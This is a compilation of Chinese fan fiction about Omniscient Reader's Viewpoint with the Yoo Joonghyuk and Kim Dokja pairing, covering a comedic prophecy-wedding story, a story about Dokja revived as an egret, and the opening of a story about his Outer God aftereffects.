“预言里只是说‘单身’,也可能找一个女朋友就能满足要求。”
“但是,星流该怎么判定一段诚实的恋爱关系呢?难道上面的那群家伙是可以被随便戏弄的吗?”
“果然还是需要结婚吧?再不济也至少需要一场像模像样的婚礼才对。这样的话,独子先生就不会被视作‘单身人群’了吧?”
大家的推理依旧热情,几乎所有人的表情都超乎寻常地认真,就好像这场关于我本人即将到来的婚姻,对于他们而言并不是一件属于金独子的终生大事,而更像是什么生死攸关的新场景似的。
但是,真的没有人想要听听我的意见吗……?
我反复调整着措辞,挑了一个大家都在思考的时机,小心翼翼地插嘴道:“等等,大家,我想说……”
“现在最重要的问题是——”没有人搭理我的示意,韩秀英忽然从位置上站了起来,双手撑着桌子,一字一句掷地有声,“金独子该找谁结婚呢?”
“我还是未成年呢。请不要考虑我。”李智慧的椅子很快地从桌边远离了——虽然她是对的,我也并没有任何想要和这个脑回路清奇的女高中生结婚的想法,但她这幅过分抗拒的样子还是让我感到一丝轻微的挫败。
“我可以跟大叔结婚。”喻胜举起了手,她有充分的理由,“我是大叔的化身,阻止他成为丑鱿鱼是我的责任。”
吉勇则是一脸被背叛的神情,他的表情在这个瞬间变得相当精彩——他看上去像是想要条件反射地和喻胜抬杠争宠,但此刻争执的话题又实在不太适合男性成员加入,最后憋了半天,也只是咬牙切齿地把申喻胜举起的那只手扯了下去,哽着脖子说:“……你明明也是未成年!”
于是在场剩下的所有成年人都露出了相似的尴尬表情。郑熙媛四下看看,扯出一个勉强的微笑:“好吧,其实如果真的没有合适的人选的话,我应该……也可以。不过我得事先说明,其实我现在在和贤诚先生谈地下恋爱,所以……”
够了,首先你们并不是你们所想的地下恋爱,其次我也真的不想做拆散情侣的那个罪大恶极的上司。我疲惫地捂住了脸,冲着他们两个的方向挥了挥手——我注意到,郑熙媛小姐和李贤诚先生的手正牢牢地牵在一起,就好像马上就要经历一场无法避免的分别似的。
我感到有些胃痛:“郑熙媛小姐,你真的多虑了。”
于是最后,“成为金独子未来的结婚对象”这个可怕的烫手山芋就这样被公司的伙伴们避之不及地、一个接一个地抛到下一个人的手上——张海英大叫着“我是男生”,艾琳严肃申明她是不婚主义者,尚雅小姐的表情和熙媛小姐没多大的区别,而韩秀英则坦然地迎上了所有人的目光,理所当然似的往眼下这片表面风平浪静、水底波涛汹涌的海面上投去了一颗威力无比的深海炸弹。
“和金独子结婚的最好人选难道不是刘众赫吗?”韩秀英的脸上流露出一丝真诚的疑问,“为什么大家都跳过了这家伙?”
在女作家的质问落下之后,会议室中出现了长达一分钟的沉默。
“我对男人没有兴趣。”刘众赫说。
“我喜欢女人。”我说。
“不对,哥哥喜欢男人。”李吉勇说。
“果然大叔和我师父就是有一个孩子的吧?!”李智慧说。
[星座“恶魔般的火之审判者”严肃申明那叫同志情谊。]
会议室里再次出现了长达三分钟的沉默。
我心力交瘁地举起右手,建议道:“要不我们还是讨论一下我该怎么用鱿鱼形态通过剩下的场景吧……?”
05.
作为一向善良温柔的天才美少女(某人自封),韩秀英贴心地为我们解释了她语出惊人的台词背后的深层逻辑。
“金独子连续两次得到奥林匹斯的命运预言,虽然这两次的风格很不相同,但我们显然应该把这两则启示放在一起看。”韩秀英扶了扶她并不存在的智慧眼镜,肃然道,“金独子上次的预言,显然是为了让他认清谁是他最爱的人,然后这则预言接踵而至。顺着这个思路下去,找到了爱人之后,难道不就是应该和这个人结婚吗?”
有理有据,令人信服。在场的所有人都认可地点头。
能把毫不相干的两件事情硬凑在一起,也只有满脑子歪理的冒牌作家能做到这种事了。我无语地反驳:“当时是你们所有人一起杀的我。我没有最爱的人。”
提起那段并不算愉快的陈年旧事让大家原本活络的气氛变得沉重了许多,我为我没过脑子的一句话后悔不已,正准备再开口说些什么时,韩秀英又冷着脸打断了我的狡辩:“但你无法否认最后刺死你的那个人是刘众赫,不是吗?”
“韩秀英。”刘众赫在今晚第二次开口,他的面色阴沉得厉害,看上去就好像想要原地再把韩秀英也刺死一遍似的,“少说废话。”
“重婚罪是犯法的,而且除了刘众赫,没有人会愿意和你结婚的!”作家毫不理睬来自主角的死亡凝视,不知死活地继续她的拉郎配事业,“而且,如果你跟那么多人结婚的话,星流也不会承认你的。”
这个话题什么时候又扯到我要和所有人结婚上去了?我被这强大的逻辑震撼到了,一时间居然也忘记了开口反驳。
“再说了,你们都是男人,结个婚怎么了?难不成还会掉块肉吗?”韩秀英一锤定音,打了个清脆的响指,自信地微笑着,“放心吧男士们,我们一定会好好操持两位的婚礼的。”
虽然并没有得到婚礼主人公哪怕任何一方的首肯,但不知道为什么这群人却好像已经觉得我要和刘众赫结婚这件事就这样可以轻松地盖棺定论了似的。他们甚至没有一个人觉得这种荒唐的事有多么不切实际,而表现得像是这个预言能够完美地在一场莫名其妙的婚礼中解决一样。每一个人的脸上都洋溢着喜悦和放松的笑容。
我缓慢地将头转向刘众赫的方向,无比感动地从另一位被敲定的新郎脸上看到了同样的难以置信。他阴沉着脸色,看起来就好像在思考着什么。
看起来,在金独子公司的所有人都成为疯子的世界里,只有我的男主角依旧是那样可靠。
我在心里暗暗为他打气:上啊,刘众赫,发挥你那无人可及的领导力,再一次把这荒谬的乱象拨回正道吧!只有你可以做到!
不知道是不是我的目光过分赤裸,刘众赫忽然将头转向了我,于是我们就这样直直地对上了视线。而在我无比期待的目光下,我的死生伙伴却完全没有以往的默契,并没有回应我的期盼,而是无比响亮地“啧”了一声,然后什么话都没再说,只是起身走掉了。
……走掉了?
我正打算赶紧追上去同他说话,却被李智慧一把抓住了风衣的腰带。高中生露出一副揶揄的表情,令人绝望地打趣着我:“在婚礼之前,新郎和新郎是不可以见面的哦?”
“虽然我知道大叔你没办法离开师父,但还是忍忍吧,我们会尽快准备好的。”
该死的,这个世界现在究竟是什么鬼?
我又穿越进了另外一本小说吗?
与此同时,刘尚雅小姐来到了我们两人身边,温柔地示意李智慧放开抓着我的手,轻声道:“智慧,请不要再开独子先生的玩笑了。”
啊,多么正常,又多么令人熟悉的话啊!我心中大动,但还没等我向她挤出感激的微笑,尚雅小姐却又先一步以同样温柔可靠的嗓音问出了一个荒谬的问题:“独子先生,婚礼现场的花束用白玫瑰可以吗?”
06.
虽然很不愿意承认,但事实却是,这群肆意妄为的公司成员完全不顾星云代表和大股东的主体意志,在马不停蹄地准备了一周后,为我和刘众赫在工业园区里筹备完成了一场相当像模像样的婚礼。
他们甚至在写着“刘众赫—金独子工业园”的大门口洒满了各种鲜花花瓣,搞得好像这个原本无比正经的名字像是什么暧昧的夫妻共同住宅似的。真是令人
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恼火。
在无数次抗议无果后,我和刘众赫都相当无奈地接受了“不和对方结婚的话,金独子就会变成丑鱿鱼并死去”这样如同恶俗喜剧剧本一般的设定,在所有人的挑唆和起哄中,一同走上了红毯。
或许我应该庆幸这群恶劣的家伙无论平时对我的品味诟病过多少次,但至少还愿意承认我是一名正常的成年男性,为我准备的婚礼礼服是一件正常到令人惊讶的白色西服,而没有给我准备什么款式奇怪的婚纱礼服之类的东西。
这就好像一场成年人的过家家,因为所有人都表现得乐在其中,甚至在婚礼当天,刘众赫的表情也几乎称得上柔和。而作为一个成熟的大人、值得所有人依赖和信任的星云代表,我自然不可能扫大家的兴——更何况,这场闹剧一般的婚礼最初,也不过只单纯是为了我一个人而已。
是以,我们配合着牵起手走过红毯,在神父(为什么担任这个角色的人会是孔弼斗,说实话这真的有点让我百思不得其解)的见证下互相说了我愿意,交换了一枚素圈戒指(艾琳赞助的道具,她说里面存放了一些有用的故事包,有需要时可以用来应急),最后刘众赫掀开了我的头纱。
说实在的,虽然我在当忠实读者的时候,确实好奇过婚礼上的男主角——在灭活法着墨不多的、关于刘众赫人生的一些算得上幸福的片段中,和李雪花组建家庭差不多是少有的几个情节。
我幻想过那样的刘众赫:首先,他一定会是帅气的。虽然我的男主角当然从来都是最帅的,但如果是结婚的话,他一定还会收拾得更体面一点(我的意思不是他平时就邋里邋遢的)。其次,他一定会是温柔的。温柔的刘众赫是不多见的,在小说里,tls甚至不愿意描写主角的微笑。作家最常用的形容词就是“冷酷”“傲然”之类的词语——当然,这个坏脾气的臭小子确实一直都是这幅样子——不过,如果是在和爱人的婚礼上的话,他应该、也许、大概、说不定,真的会笑一下呢?
虽然看到婚礼上的刘众赫这样不切实际的愿望最终在和我本人的婚礼上实现这种事,诡异得像是一本奇幻小说,但少年时期的愿望在不远处的未来被完成仍然是一件让人心怀雀跃的事。
啊,但是,难道交换戒指不是一场婚礼的最后环节吗……?
我看着主角越凑越近的嘴唇,大脑一片空白。
07.
我就知道,那个该死的预言绝对只是为了耍我。
望着半空中悬浮着的任务面板,我第一百零一次咬牙切齿地如此想道。
在那场荒唐的婚礼结束之后,我和刘众赫之间的关系并没有发生什么实质性的变化,但我却不孚众望地依旧变成了一只丑陋的大鱿鱼——我冲着伙伴们挥舞着自己的触须,内心几乎是泪流满面的。
令人喜悦的是,我善良的伙伴们在一众丑鱿鱼中精准地找到了我;令人悲伤的是,他们似乎依旧因为我不告而别的三年而感到愤怒;而令人沉默的是,在场所有人注视着鱿鱼形态的救援魔王本人,都不约而同地想起了三年前的那个,关于结婚和鱿鱼的命运预言。
先开口的一直都是李智慧:“我知道了,大叔会变成鱿鱼一定是因为上次婚礼没有把所有的流程走完!”
……我无法反驳,因为令人遗憾的是,上次那场家家酒一般的婚礼最后,我和刘众赫确实没有真实地完成流程中必要的那个誓约之吻——在最后一秒,我慌张地后退了一小步,这让那枚吻最终只落在了我的脸颊上。
海上战神大叫着扯住我摆动不止的触手,将它拽向刘众赫的方向——令人悲哀的是,我现在的身体完全无法受我个人意志的控制,并且具有陌生的生物特性,因此,当我的触手触碰到刘众赫掌心的皮肤时,尽管我再努力地想要离开,他的手臂依旧还是被触手牢牢地用吸盘吸附柱了。
刘众赫的脸色看起来很差,看上去正在极力压制想要直接一剑捅死我的冲动。虽然有点伤心,不过我真的可以理解——如果是我的话,我宁愿死也不会让这种东西祸害我的嘴唇的。
“不不不——等等、等一下!”我试图通过大声喊叫来阻止这场荒唐的强人所难。
说真的,我毫不怀疑如果刘众赫真的被强迫亲吻一只丑鱿鱼的话,他一定会羞愤至死的——在死之前还会把无辜的本人做成一盘鱿鱼刺身供他泄愤。
[场景的惩罚扭曲了间接消息。]
[‘丑鱿鱼’说:我已经准备好了!]
……这不对吧!!!
08.
我猛地从床上弹了起来,惊魂不定地摩挲着自己的四肢——很好,不是鱿鱼的触角。这真是让人感到无比安心。
“金独子,你又想做什么?”刘众赫的声音蓦地从不远处传来,他端着一小碗海鲜粥,正站在门口皱着眉看我,“躺好,不要浪费故事包。”
经主角的提醒,我这才发现自己的手背上还扎着针——我回忆起来,在清除了可笑的鱿鱼场景之后,我得到了伙伴们的欢迎。虽然这场温馨的迎接最终以我被击晕禁足为结局,但至少现在,我还能喝到来自最棒的厨师亲手熬制的海鲜粥。
[光荣回归]这个场景清除的任务并不是完成我和刘众赫那场可笑的婚礼,而只不过是成功地让他们认出我的身份罢了。这可比用皱巴巴的鱿鱼的身体亲吻帅气的男主角容易得多。
……只不过……
“所以……我们其实并没有结婚是吗?”说不上来是遗憾还是庆幸,我看着主角那张帅气的脸,忍不住喃喃自语了一句。
在我后知后觉地发现自己无意识间脱口而出了多么惊世骇俗的言论之前,先一步回应我的,是刘众赫捏碎碗碟的清脆的响声。
……啊,等等,我刚刚在这家伙面前说了什么来着?
我机械般缓慢地抬起头,与刘众赫震惊的双眼对视。
全知读者视角这个技能好像有点失效——我为什么看不懂他现在的表情……?
在主角可怕的眼神的凝望下,我忍不住后缩了一小步。
end
# 众独
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椒香盐焗鸡
众赫你是不是以为独子这个眼神是期待跟你结婚啊哈哈哈哈哈哈哈
28. 迁返
-初夏密林-
【众独】迁返
*全文6.6k左右
*在飞鸟症的设定上做了一些改动
飞鸟症:死后会从尸体里钻出飞鸟,若爱人能认出自己则复活,一月内不被认出则会死去
李智慧抱着鸟冲进来的时候李雪花还在给申喻胜和李吉勇做一周一次的口腔检查,手里的压舌板因惊吓掉落在地板上,被白发的医师无奈捡起,扔进旁边的医疗废物箱里。
紧接着是申喻胜倒吸一口凉气的声音。
李雪花才迟迟发现那只鸟身上的红褐色并非羽毛的花色,而是血液结块留下的痕迹,没等李智慧开口,她便拿出一块软垫,申喻胜则从李智慧怀里接过那只可怜的动物把它放在软垫上。
这是只白鹭,等它悠悠转醒的时候已经被打理得七七八八,除了毛巾擦去血迹残留下来的水分让它的羽毛结块外没有任何狼狈,在座四人都觉得奇怪,那些血液只是看起来唬人,它的身上却没有丝毫伤口。
“话说今天不是智慧姐去看独子哥吗,怎么带了只鸟过来?”
李吉勇对它有些怕,听说过鸟类脖子上的羽毛手感很好,但伸出手想摸又不敢摸的怕被啄,当白鹭直接把头蹭过来的时候还受宠若惊地吓了一跳。
“还不是它!病房的窗户大开着,这家伙就浑身是血地倒在大叔床边,吓得我赶紧就把它带回来了。”
李智慧愤愤地指着软垫上的家伙,白鹭的长腿和脖子都被收在了松软的羽毛里,让人联想到比喻小时候像个毛茸茸的白色足球那会儿。
听到这话的申喻胜和李吉勇对视一眼,然后彼此心虚地移开视线,前者假装帮李雪花扔沾了血的湿巾,后者若无其事地摸着那只鸟的羽毛,他们两个昨天饭后去看金独子,出于想给病房通风的想法把窗户打开了,大概是走的时候没关上,门户大开了一晚上。
白鹭倒是不挣扎也不叫,李雪花虽不专攻兽医,但也有些基本常识,相比之下它的状态很放松,对陌生环境并没有出现应激,这么亲人的生物真是生怕把它放生后上演一出鸟的报恩。
金独子其实也没搞清楚现在到底是什么个情况,他花了好些时间才反应过来自己似乎是变成了一只鸟,在这之前他的意识混沌不堪,是那种整个人漂浮在黑暗中,连四肢都感受不到的混沌,一阵或许称得上“眩晕”的感受后他迫切地想要呼吸,窒息感催促他尽快寻找赖以生存的氧气。
他像撕破茧一样从无尽的黑暗中窥见一缕微弱的光亮,不知从何吹来的风把覆盖在眼皮上黏糊糊的液体吹干,然后他睁开了眼,看见窗外朦胧的月色和碎了漫天的星星,在那之后便失又去了意识,直到几分钟前才被唤醒。
至少他回来了不是么。
金独子抖了抖羽毛打了个哈欠,他尚不适应这具新身体,李吉勇突然收回了抚摸他羽毛的手,金独子正好奇他要去干什么,就见男孩把手伸进几乎不离身的昆虫箱,娴熟地从里面抓出了一只蚂蚱向他走来。
不会吧。金独子感到大事不妙。
“吃点东西会不会让它快点好起来?”
在李吉勇强行撑开他的嘴把虫子塞进来之前金独子便挣扎着从软垫上扑腾了下去,让拥有人类认知的金独子去生吞一只蚂蚱还是太为难人了。
白鹭并不是什么小型鸟类,就算不会飞,扑腾翅膀的架势还是够唬人,金独子只想早些逃离这个是非之地,结果一出李雪花的诊疗室便撞在了听到动静赶来的李贤城小腿上,晕头转向地滚下楼梯后摔得四仰八叉又好巧不巧和一张熟悉的臭脸四目相对。
金独子在心里尴尬地笑了两声,莫名有种心虚的感觉,本能地想开口和刘众赫打个招呼,只发出了一两声鸟啼。
“你这个白痴!突然去抓它的嘴巴干什么,不吓一跳才怪吧!”
申喻胜的声音从楼上传来,紧接着是李吉勇心虚的辩解。
“它都主动让我摸它的羽毛了,我以为......”
这么一闹腾全家都知道在金独子的病房里有只鸟,在两个孩子的极力恳求下这只白鹭被留了下来,可很快新的问题就出现了,祂不吃东西。
李吉勇的蚂蚱它是看到就如临大敌,网购的面包虫也看了一眼就躲得远远的,申喻胜给它弄了些小米也没得到多少青睐,除了水以外三天没吃东西的金独子饿得羽毛都失去了光泽,李智慧说会不会是它想自己出去觅食结果把它从窗台上扔下去的时候发现这家伙居然不会飞。
“真是笨,怪不得被猫抓成那副样子倒在大叔的房间里。”
李雪花检查了它的飞羽,发现并没有出现像家养鸟类那样被裁剪的痕迹,如果不是心理因素导致飞不起来那它真的就是不会飞。
“生存能力这么差还能长到这么大真是辛苦了。”郑熙媛是这么评价的。
金独子心想我又不是真的鸟,几天下来他饿得够呛,只能晚上偷偷摸摸出来到客厅的茶几上把白天孩子们吃剩的薯片之类零食啄开垫肚子,有次还撞上下来倒水喝的刘众赫,不过第二天早上他居然没把这事和其他人说,金独子不知道这是好是坏。
现在是午餐时间,米娅踢踏着拖鞋来喊各位开饭,金独子被香味熏得眼冒金星,暗想果然没有任何生物拒绝的了刘众赫的厨艺,在岌岌可危的意志之下金独子忍无可忍地扑腾上餐桌上唯一的空位,把刘众赫还未来得及夹进自己碗里的一块肉半路截胡。
他倒是吃得忘我,完全没注意到一桌人震惊的目光,解决完一块又把嘴往刘众赫的碗里伸,然后就被两根有力的筷子夹住了嘴。
施加在喙上过大的力道让金独子本能地扇动翅膀,结果就是火上浇油地往刘众赫的脸上抽了一下,如果说先前饭桌的氛围是因震惊而导致的沉默,那么现在就是连空气都要凝固了,李智慧倒吸一口凉气看向韩秀英,这个家里目前第二有话语权的人。
“我觉得我们今天晚上可能要加餐了。”韩秀英小声回应她。
金独子大梦初醒般僵在原地,刘众赫脸上是他熟悉的表情之一,愤怒和其他的情绪糅杂在一起让这只翻车鱼的脸黑得能滴下墨来,金独子想现在他要掐断自己的鸟脖子肯定是两秒钟的事。
金独子的大脑飞速运转着,试图寻找一个可以让他脱困的方法,但意料之外的是刘众赫松开了筷子,没有掐断他的脖子,也没有提着他的翅膀把他从窗户里丢出去,金独子往最坏的方向想,兴许这家伙已经准备拿刀给自己放血了,应该先跑为妙,但刘众赫只是把夹过鸟喙的筷子往水池一放,拿了双干净的后又拿了个碟子,在金独子震惊的目光下夹了饭和菜放在厨房的石英桌台上。
都到这份上了,金独子也不再作妖,享用着来之不易的午餐的同时余光打量着刘众赫旁边的那个空位,空位在这张大圆桌的中间位置,显然是给某个在家里有重要地位的人坐的,它的主人照理来说应该是刘众赫或者韩秀英,可这俩人却分别落座在空位的两边,金独子突然觉得脑子嗡了一声。
......真是的。
那个位置显然是给他预留的,可他的身体还在那间病房里面沉睡着,被空下来是自然而然的事。
今天轮到郑熙媛和李贤城收拾桌子洗碗,前者把那双覆满常年握剑而生满茧的手用家务用橡胶手套戴上,娴熟地把剩菜挨个倒进厨余垃圾箱,在看见桌台上白鹭吃剩的饭菜时愣了一下。
番茄炒蛋根本没被动过,周遭只要是沾到过红色汤汁的食物乃至米饭都被冷落在一边,郑熙媛的手有些微不可见的颤抖,她收拾完东西很快便把这件事告诉给了家里的其他人。
金独子本人正被申喻胜抱在怀里梳毛,不知是什么原因,女孩的多元交流能力对他有限,导致他没法把“我是金独子”之类的话直接传达,但他还是有部分动物本能让他觉得亲近自己的化身是件身心愉悦的事。
“鸟类也会挑食吗?”李吉勇问。
“说不定这只鸟是大叔变的呢。”申喻胜说。
申喻胜的话就像捅破了所有人心中的纸窗,短暂的沉默后,几乎是所有人都开始说这只鸟有些过分像人,尤其是金独子,从刚才发现的不吃番茄到申喻胜叫它大叔的时候会有反应,韩秀英夹带私心地狠狠吐槽了这家伙把自己放在柜子上的手稿弄得满地都是。
金独子承认那是他的错,但他只是想看看韩秀英新写的小说,没法阅读对他来说实在是太痛苦了,他迫切地需要文字的滋养,但谁能想到那对鸟爪子这么难用,他只是想翻个页却把整叠稿纸推散了。
众人七嘴八舌地聊着,但刘众赫显然对此不感兴趣,微不可查地冷哼一声便上了楼,金独子暂时脱不了身,他本来的计划是在刘众赫回卧室之前溜进去,拿这家伙价值五位数的游戏电脑打字以自证自己就是金独子,可这家伙警惕得很,第一次试图跟在刘众赫身后进去的时候差点被关上的门撞飞出去,第二次则被提着脖子扔了出去。
但金独子可不是什么轻易放弃的类型。
次日早晨的刘众赫是被家里的呼喊声吵醒的,他不知道那只白鹭到底是对自己的房间有多执着,居然半夜还蹲守在他门口,趁着他开门下楼装水喝的空当从虚掩的门缝里钻了进去。
申喻胜和刘美雅已经开始叫这家伙大叔了,家里的其他人都开始觉得这只过分会闹腾的鸟是金独子,但刘众赫自始至终只觉得所有人只是想要为这份过分漫长的等待找一个借口,找一个暂时的安慰,场景已经结束,被重构的世界里不会再出现荒唐的任务了。
刘众赫的房间里有一套完整的游戏设备,一看就价值不菲,金独子饶有兴趣地站在桌子上看着屏幕里在坐待机动作的人物,听到房门被关上的声音才回过神来,一人一鸟四目相对,后者已经做好了如果刘众赫要把他丢出去就先啄他手的准备,绝不能让他这几个小时的等待白费。
约莫对视了三秒,刘众赫叹了一口气,没再管那位不速之客,拿起放在桌上的手柄旁若无人地继续玩了起来。金独子知道刘众赫“职业玩家”的技能正是来自于他在场景开始前的职业,但他还是第一次亲眼见到霸王本人打游戏。
金独子看得入神,人物的动作干净利落,没有一刀是砍空的,刘众赫几乎一直在使用连招,巨兽的血条以肉眼可见的速度缩短,最后倒在地上化作一堆光斑消散,电脑的左下角冒出一堆小弹窗,显示着玩家“霸王”在BOSS战中获得的稀有道具。
金独子已经忘记了自己来这里的初衷是想拿电脑打字,这个家里唯二的键盘一个在韩秀英那,一个在刘众赫这,前者因为手稿那事还在记恨着自己,所以金独子自然而然地选择了另外一位。
但刘众赫直到近凌晨两点也没有放下手柄的意思,金独子窝在一个巨大的鱿鱼玩偶上,这是刘美雅给刘众赫的,至于为什么会知道,因为金独子在玩偶的发票上看见了“给哥哥”几个字。
这家伙真的一点都不困吗?我现在是白鹭又不是夜鹭。
金独子早已撑不住睡意的侵蚀开始频频点头,最后还是缩成了一个足球大小的羽毛团子陷入了梦乡。
刘众赫放下了手中的设备,挨个关闭游戏软件,借着电脑还未熄灭的灯光看着霸占妹妹给他的礼物的不速之客,蓬松的羽毛随着呼吸而起伏,刘众赫鬼使神差地伸出手摸了一把,鸟类比起人类偏高的体温透过掌心的肌肤传来。
“...你很像他。”
屏幕的灯光彻底熄灭,运作了十几个小时的电脑也终于得到了休息,刘众赫从透过纱窗洒下的月光里继续看着抵挡不住困倦沉沉睡去的金独子,选择了以睡眠来制止某些荒唐想法影响他理性思考的可能性。
于是就有了早上这一幕。
现在是早上七点半,睡了六个小时不到就被一伙人找鸟的动静吵醒并不是很好的体验,刘众赫看了眼还窝在毛绒玩具上睡觉的白鹭,打算先出门制止几号人翻箱倒柜的动静。
“它在我房间里。”
申喻胜还没喊出口的一句“大叔”硬生生卡在了嗓子里,刘美雅则先行一步进了刘众赫的房间,她现在是家里唯一一个除了房间主人外可以自由出入刘众赫卧室的人,但她进去后便没了动静,刘众赫不得不看看到底是什么情况。
“怎么了?”
“哥哥...大叔好像不对劲...”
白鹭不再像早上他看见的那样睡得安稳,身躯以不正常的频率颤抖着,刘美雅在一旁急得眼眶发红。
李雪花对此也束手无策,只能请来专业的兽医,慈祥的医师拿
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着小一号的听诊器在像栀子花枯萎般的白色羽毛下摸索着,表情从一开始的微笑变得面无表情,最后严肃地摘下了听诊器挂在胸口。
“心跳很微弱,而且其他内脏也不健康,像在持续衰弱,是第一次出现这种情况吗?”
空气凝重得像被暴雨洗劫了氧气,只剩下令人窒息的潮湿,所有人不约而同地想到了某些令人不愉快的回忆。
“它是大概十天前来到我们家的...”
医生说以这样的身体状态放生几乎成为了不可能,改为人工饲养反倒能延长寿命,除此之外留下一些维生素后便离开了,于是金独子昏昏沉沉地醒来后便接受着好几号人怜悯目光的洗礼。
他的眼睛尚不能聚焦,刚才痛苦的感觉还历历在目,有那么一段时间他感到他的灵魂没有依附在任何东西上,无论是他原本的身体还是暂居的鸟躯,那是一种流窜四肢百骸的疼痛,总之这可不是什么好征兆,弄不好在让所有人认出他就是金独子本人之前他又要回归到那片虚无中去了。
不过经此一变,刘众赫的卧室也成为了他的卧室,日渐虚弱的身体让这个他想尽办法想进来的地方变成了禁锢他的牢笼,金独子有感觉可能是自己原来的身体出现了什么问题,他一直想去那个病房寻找线索,可说那个房间是全家上下看管最严的地方都不为过。
金独子叹了一口气,去病房是轮流制,每天都有不同的人进他的病房,只为了和“金独子”说上一段时间的话,金独子想,说句难听的,他本人现在被困在一只鸟里,去病房聊天无异于对一具尸体说话,他好几次想去听听大家想对自己说的都是什么,但都被隔音绝佳的房间拒之门外,哪怕贴着门都听不见任何声音。
今天似乎是刘众赫。
换做别人都是一大早就去了,轮到申喻胜和李吉勇时两个人到前一晚就开始兴奋,这一点金独子在一开始由申喻胜照顾的那几天深有体会,女孩揪着他的几根飞羽兴奋地诉说着次日要讲给“大叔”听的话,说到兴奋时还会一个劲地夸金独子,听得他怪不好意思的。
刘众赫对他也是越来越包容,可能也有些把自己和躺在床上的那具空壳划上约等于的意思,但还是和金独子的最终目的有本质上的不同,不过金独子觉得他可以好好利用这一点。
刘众赫去看“金独子”是在晚饭后。
那只和金独子一样烦人的鸟已经在他身后跟了一天,哪怕是现在他要去和金独子安静地待上一段时间,一人一鸟在病房门口大眼瞪小眼,后者显然没有让步的意思,僵持了一会儿后刘众赫选择了投降。
房间很干净,每个来这里的人都会打扫一通,昨天是郑熙媛,她来的时候带了一束百合,一进来金独子就闻到了尚未随花朵一起枯萎的香气,说实话这确实起到让人身心愉悦的作用。
金独子看着刘众赫给花换水,拉开窗帘让暮色撒在房间里,和其他人不同,刘众赫自始至终不说一句话,只是安静地打扫着房间,好像床上的人和他并无甚关联,但金独子知道这恐怕就是他们之间最平常的相处方式,就算是他和刘众赫聊天,话题的发起人往往不会是刘众赫。
趁着刘众赫去洗毛巾的空当,金独子终于得以把注意力放在来这的目的上,说实话这样直白地看着自己的身体让他有种说不出的怪异感,干净整洁的病房内,他就这样面色苍白地陷在柔软的被褥内,两个床头柜上分别摆着新鲜的花和未被拆封的几本小说,好像床上的人只是短暂地休息一回,并非沉睡了数年。
来不及感慨,金独子试图从身体上找些线索,但并没有什么收获,但一阵突如其来剧痛又让他无法思考,与此同时床上沉寂了不知多久的人突然开始剧烈地咳嗽起来,故事碎片混杂着血液和可能性的火花一同被咳出,但在自身难保的情况下金独子无暇顾及这些,他疼得滚落在地板上,嘴里弥漫着厚重的铁锈味,抽出一缕思绪后才发觉他也吐血了。
这样混乱的场面让刚回来的刘众赫感到震惊,他不记得自己是如何冲下楼找李雪花,刚回过神来时便接受了一个新的噩耗:金独子身体里的故事又开始流失了。
这种情况下那只突然造访他们家的白鹭并没得到多少注意,但某些事情渐渐在刘众赫的脑中构出一个荒谬但让他不愿承认地激动的可能——他得去看看病房内的监控,监控被设定一个月删除一次,现在应该还来得及。
匆忙离开病房的刘众赫并未受到任何人的阻拦,刘众赫直奔监控室,众多的屏幕让人联想起星流颁布任务时跳出的弹窗,最终他调动时间,找到李智慧发现白鹭的前一天。
房间的窗户开着,微风让窗帘时不时飘动一回,刘众赫皱着眉把记录调成四倍速,最后暂停在可能性的火花出现的一瞬间又调回初始速度。
他多久没看见那些火花了?场景尚未结束时这些火花的出现往往伴随着疼痛和战斗的发生,但此刻倒像是某种希望,刘众赫皱着眉,等待着他渴求的那个答案的应验。
火花还在炸开,躺在床上的人像在接受某种极刑,敞开的衣襟间血肉在以让人牙酸的幅度变化,最终破出了一个血淋淋的大洞,血液和故事碎片倾泻而出,前者化作微弱的火花,后者汇聚成一个模糊的轮廓,刘众赫看着那些庞大的故事不断凝缩,最后变成了一只身上沾满鲜血的飞鸟倒在地板上。
像是被正中了后脑勺,让人眼冒金星的眩晕过后反倒是极致的冷静,刘众赫关掉回放,向金独子的方向走去,不是那件病房,而是他的卧室。
“...金独子。”
因伤势而沉睡的金独子并未给他任何回应,只是把头埋在羽翼下,只可见因呼吸而有节奏的起伏。
我早该发现的。刘众赫想。
病房的方向骤然传来惊呼,刘众赫下意识地挡在金独子前方,约莫几秒后一阵狂风撞开了他紧闭的房门,大量的故事碎片带着过分刺眼的光涌入他的房间,他甚至做好了被过于庞大的故事淹没的准备,但那些故事越接近他便越缓慢,碰到他时几乎已经变成了柔和的涓流。
那些故事碎片流动着,围绕在金独子的身侧,飞鸟的轮廓逐渐模糊,变大的同时呈现出模糊的人形。
它们将刘众赫一直在寻找的那个人还给了他。
END
29. 后遗症
初夏密林-
【众独】后遗症
*关于kdj外神化后似乎有些后遗症
*有不合理的地方请见谅因为都是我瞎编的
刘众赫觉得自己像陷入了泥沼。
视线所及皆是令人窒息的黑暗,连空气都似乎潮湿得能拧出水,本能告诉他无论如何应该先握紧挂在腰侧的黑天魔剑,但他连睡觉也不离身的剑居然凭空蒸发在这片深渊里。
他像得救的溺水者那般深吸一口气,挣扎着从梦境中脱身,但他很快就觉得比起现实他更希望刚才那个梦才是真的。
一个外神正压在他的身上,不规则的身躯漫无目的地在他身上游走,比起想杀死他更像是在进行一种纯粹的摸索,虽然连在场景中锻炼出来的自保本能没有察觉到祂的攻击性,但刘众赫还是决定简单处理一下眼前糟糕的状况。
他握住了休息时放在身侧的黑天魔剑。
察觉到危机的外神骤然停下了充满冒犯意味的动作,刘众赫竟从祂汇聚身躯的动作里看出来几分吃力,趁着他惊讶的空当里祂非常艰难地把自己弄成了一个勉勉强强能看出人形轮廓的东西。
“……金独子?”
没等他询问这到底是怎么回事,几根漆黑的触手从好不容易汇聚又坍塌的身体里分裂出来,速度之快让刘众赫以为自己要被戳瞎,但事实上它们只是覆在了刘众赫的眼睛上。
【■■■■■■■■■■■■■■■】
“什么?”
先不提触手覆在眼睛上粘腻潮湿的感觉让他起鸡皮疙瘩,金独子说的话他一个字也听不懂,事情看起来有些严重,但他不可能让这个样子的金独子出去见人,那样会引起不必要的混乱,而且刚经历完上个场景的同伴们都在抓紧时间休息。
似乎是察觉到刘众赫的困惑,金独子尝试着重新组织语言,虽然刘众赫暂时只听到了一阵咕噜声,金独子再“开口”说话时他好歹能从破碎的字眼里推测出金独子的意思来。
【别■■■■看■■■■】
刘众赫突然有些恼火,这家伙在刚才的战斗里主动变成外神王的时候都没见他对自己外貌多焦虑,怎么现在开始在意了,但眼下他只能咽下怒火,帮金独子恢复才是头等要事。
“要怎么帮你。”
【■■声■■带】
声带?
